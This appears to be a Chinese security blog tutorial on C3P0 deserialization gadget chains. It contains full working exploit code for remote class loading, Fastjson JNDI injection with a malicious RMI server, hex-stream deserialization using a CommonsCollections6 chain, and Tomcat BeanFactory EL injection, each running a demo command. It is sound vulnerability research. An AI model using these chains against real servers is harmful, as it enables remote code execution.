C3P0介绍

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。

JDBC是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口。
使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。

连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。

环境搭建

<!-- https://mvnrepository.com/artifact/com.mchange/c3p0 -->
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>

利用方式

C3P0的常见利用方式有三种:

  • URLClassLoader远程类加载
  • JNDI注入
  • 利用HEX序列化字节加载器进行反序列化攻击

URLClassLoader远程类加载

调用链

PoolBackedDataSourceBase#readObject ->
ReferenceSerialized#getObject ->
ReferenceableUtils#referenceToObject ->
ObjectFactory#getObjectInstance

流程分析

首先来看PoolBackedDataSourceBase#readObject方法

image-20241101134337171

漏洞的触发入口就在这,如果反序列化得到的Object为IndirectlySerialized,就会调用其getObject方法

IndirectlySerialized是一个接口,他的实现类就是ReferenceSerialized,那接下来去看看他的getObject方法

image-20241101135245450

ReferenceSerialized类是ReferenceIndirector的一个内部类,而且可以看到这里其实已经出现了initialContext.lookup方法,但是我们在反序列化的时候其实是无法调用该方法的,因为contextName默认为null且不可控

那继续往下看ReferenceableUtils#referenceToObject方法

image-20241101135741940

可以看到这里就利用了URLClassLoader来进行远程类加载,只需要我们设置远程工厂类地址fClassLocation

那现在还有一个问题,我们要如何构造ReferenceSerialized这个类呢,这个类从上面我们可以知道是一个私有的类,我们无法直接获取,那就看一下有谁调用了他的构造方法

image-20241101185304051

可以发现在外部类ReferenceIndirector#indirectForm方法里面进行了调用

image-20241101185405398

但是这个方法我们不方便调用,所以继续往上找,发现在PoolBackedDataSourceBase#writeObject方法里面进行了调用,所以我们在正常序列化的流程中就可以完成这个操作

image-20241101190429527

这里其实有两个indirectForm方法的调用,但是我们选择这个参数为ConnectionPoolDataSource的方法

我们可以看一下他走到这里的逻辑,可以看到他先尝试序列化ConnectionPoolDataSource,如果抛出不能反序列化的异常,他就会调用这个indirectForm方法

我们看一下这个类

image-20241101191307567

它本身是没有实现序列化接口的,那么我们只要找一个他的实现类且没有实现序列化接口就可以抛出异常,从而走到indirectForm方法的逻辑,或者自己实现这个接口也可以

利用链构造

那现在我们就可以进行exp的编写了

这里采用自己实现ConnectionPoolDataSource接口的方法,而且这里我们还需要自己实现一个Referenceable接口,因为indirectForm方法里面传入Reference对象的方式不太一样

image-20241101193611019

这里是调用一个getReference方法来获取Reference对象的

最终exp如下:

package org.example.exp;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3P0_URLClassloader {

public static class EXP_Loader implements ConnectionPoolDataSource, Referenceable{

@Override
public Reference getReference() throws NamingException {
return new Reference("ExpClass","exp","http://127.0.0.1:8888/");
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}

//序列化
public static void Pool_Serial(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException {
//反射修改connectionPoolDataSource属性值为我们的恶意ConnectionPoolDataSource类
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Class cls = poolBackedDataSourceBase.getClass();
Field field = cls.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(poolBackedDataSourceBase,c);

//序列化流写入文件
FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(poolBackedDataSourceBase);

}

//反序列化
public static void Pool_Deserial() throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(new File("exp.bin"));
ObjectInputStream objectInputStream = new ObjectInputStream(fis);
objectInputStream.readObject();
}

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
EXP_Loader exp_loader = new EXP_Loader();
Pool_Serial(exp_loader);
Pool_Deserial();
}

}

恶意类

import java.io.IOException;

public class exp {
public exp() throws IOException {
Runtime.getRuntime().exec("calc");
}
}

然后去起一个8888端口的服务器,恶意类放在服务器下即可

image-20241101194419904

JNDI注入

该链子依赖于Fastjson和Jackson反序列化漏洞

利用链

#修改jndiName
JndiRefConnectionPoolDataSource#setJndiName ->
JndiRefDataSourceBase#setJndiName

#JNDI调用
JndiRefConnectionPoolDataSource#setLoginTimeout ->
WrapperConnectionPoolDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#inner ->
JndiRefForwardingDataSource#dereference() ->
Context#lookup

可以看到利用链都是从setter方法开始的,所以就可以很好配合fastjson或者Jackson利用链

流程分析

其漏洞点在于JndiRefConnectionPoolDataSource类中,该类有许多的setter和getter方法,其中我们可以通过setJndiName方法来给属性jndiName赋值

image-20241102001706522

他这里调用JndiRefConnectionPoolDataSource#setJndiName方法的时候,会再跳到JndiRefDataSourceBase#setJndiName方法

image-20241102001802528

修改了name之后我们就需要去触发调用,利用到的是JndiRefConnectionPoolDataSource#setLoginTimeout方法

image-20241102002128576

然后调用WrapperConnectionPoolDataSource#setLoginTimeout方法

image-20241102002251962

这里的getNestedDataSource返回的是JndiRefForwardingDataSource,因此这里调用的最终是JndiRefForwardingDataSource#setLoginTimeout

image-20241102002633572

然后就是进入inner()方法

image-20241102002706468

在dereference()方法触发了jndi调用

image-20241102002741246

利用链构造

选个低版本的fastjson来做例子

package org.example.exp;

import com.alibaba.fastjson.JSON;

import java.sql.SQLException;

public class JNDI_Attack {
public static void main(String[] args) throws SQLException {
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
"\"JndiName\":\"rmi://127.0.0.1:1099/hello\", " +
"\"LoginTimeout\":0" +
"}";
JSON.parse(payload);
}
}

恶意rmi服务

package org.example.exp;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMI_Server {
void register() throws Exception{
LocateRegistry.createRegistry(1099);
Reference reference = new Reference("exp","exp","http://127.0.0.1:8888/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
Naming.bind("rmi://127.0.0.1:1099/hello",refObjWrapper);
System.out.println("Registry运行中......");
}

public static void main(String[] args) throws Exception {
new RMI_Server().register();
}
}

恶意类用前面远程类加载的那个

image-20241103003238269

利用HEX流加载任意类

该利用链能够反序列化一串十六进制字符串

利用链

#设置userOverridesAsString属性值
WrapperConnectionPoolDataSource#setuserOverridesAsString ->
WrapperConnectionPoolDataSourceBase#setUserOverridesAsString

#初始化类时反序列化十六进制字节流
WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource ->
C3P0ImplUtils#parseUserOverridesAsString ->
SerializableUtils#fromByteArray ->
SerializableUtils#deserializeFromByteArray ->
ObjectInputStream#readObject

流程分析

该链子的成因是因为WrapperConnectionPoolDataSource的构造方法中对属性userOverrides的赋值存在异样写法

image-20241103222535119

这里调用C3P0ImplUtils#parseUserOverridesAsString方法将userOverrides解析成String,但userOverrides本身就是String类型,我们跟进去看看这个方法做了什么

image-20241103223316471

这里会将userOverrides的HASM_HEADER变量后面的十六进制字符串截取出来,HASM_HEADER的值为”HexAsciiSerializedMap”,还会将最后一位给去掉,所以我们后面设置变量的值的时候要加上这个字符串,而且最后一位加上多一个字符比如”;”来占位

然后解析该十六进制字符串为字节数组,并调用SerializableUtils#deserializeFromByteArray方法来处理字节数组,继续跟进去看看

image-20241103224452045

欸看到这个方法就很熟悉,字面意思就是反序列化该字节数组,再跟进去

image-20241103224710588

就可以看到直接调用了readObject方法

利用链构造

上面的利用链构造就很简单了,直接用cc6的字节码来做示例

这里就直接用的枫师傅的exp,使用的是fastjson来触发利用链

package org.example.exp;

import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Hex_Attack {

//CC6的利用链
public static Map CC6() throws NoSuchFieldException, IllegalAccessException {
//使用InvokeTransformer包装一下
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

HashMap<Object,Object> hashMap1=new HashMap<>();
LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1));

TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"abc");
HashMap<Object,Object> hashMap2=new HashMap<>();
hashMap2.put(tiedMapEntry,"eee");
lazyMap.remove("abc");


//反射修改LazyMap类的factory属性
Class clazz=LazyMap.class;
Field factoryField= clazz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);

return hashMap2;
}


static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff; //转成无符号整数
int h1 = ub / 16; //计算高位十六进制数字
int h2 = ub % 16; //计算地位十六进制数字
sw.write(toHexDigit(h1)); //转换成字符然后写入
sw.write(toHexDigit(h2));
}

private static char toHexDigit(int h)
{
//逐个字符进行转换
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}

//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}

//字节数组转十六进制
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}

public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException {
String hex = toHexAscii(tobyteArray(CC6()));//获取十六进制字符串
System.out.println(hex);

//Fastjson<1.2.47
String payload = "{" +
"\"1\":{" +
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
"}," +
"\"2\":{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}" +
"}";
JSON.parse(payload);
}
}

image-20241103225728831

低版本fastjson也可以直接用简单一点的payload

String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}";

特殊的地方

但根据上面的利用流程来看,如果配合fastjson的链子,这里我们的WrapperConnectionPoolDataSource类至少需要调用两次构造方法,第一个次是调用我们的setter方法,第二次是调用构造方法触发链子

关键的地方就在他的setUserOverridesAsString方法里面,我们去看一下

image-20241103235801196

当我们调用该setter时,首先会与旧的userOverridesAsString属性比较,这里旧值为null,新值为我们构造的userOverridesAsString,因此这里会进入if判断。

一路跟进方法,最终到WrapperConnectionPoolDataSource#vetoableChange方法

image-20241104000506391

这里propName就是userOverridesAsString,我们会走到这个判断里面,然后直接调用C3P0ImplUtils#parseUserOverridesAsString方法对我们传入的十六进制字符串进行解析,就减少了一次需要调用构造函数的操作

C3P0不出网利用

C3P0不出网的利用条件较为苛刻,而且需要存在Tomcat8的依赖环境

跟jndi高版本绕过类似,但是jndi高版本绕过还没学,体会不到,所以先空一下到时再补🫡

十二月份有机会来补一下了🫡

jdni的高版本绕过中,我们知道有一种方式就是利用Tomcat的BeanFactory的getObjectInstace方法,来进行EL表达式的注入

回头看前面远程类加载中的ReferenceableUtils#referenceToObject方法

image-20241203204529365

欸可以发现,这里完美的符合jndi高版本绕过的方式,只要将这个Factory设置为BeanFactory即可,然后就可以在不出网的情况下进行jndi注入了

先导入下面三个类方便利用测试

 <dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.55</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-el-api</artifactId>
<version>8.5.55</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper-el</artifactId>
<version>8.5.55</version>
</dependency>

利用链构造

我们知道BeanFactory需要传入ResourceRef类,我们在getReference方法中返回ResourceRef即可

package org.example.exp;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class NoInternet_Attack {
public static class EXP_Loader implements ConnectionPoolDataSource, Referenceable {

@Override
public Reference getReference() throws NamingException {
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
ref.add(new StringRefAddr("forceString", "x=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
return ref;
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}

//序列化
public static void Pool_Serial(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException {
//反射修改connectionPoolDataSource属性值为我们的恶意ConnectionPoolDataSource类
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Class cls = poolBackedDataSourceBase.getClass();
Field field = cls.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(poolBackedDataSourceBase,c);

//序列化流写入文件
FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(poolBackedDataSourceBase);

}

//反序列化
public static void Pool_Deserial() throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(new File("exp.bin"));
ObjectInputStream objectInputStream = new ObjectInputStream(fis);
objectInputStream.readObject();
}

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
EXP_Loader exp_loader = new EXP_Loader();
Pool_Serial(exp_loader);
Pool_Deserial();
}
}

image-20241203210853776

参考

https://goodapple.top/archives/1749

https://forum.butian.net/share/2868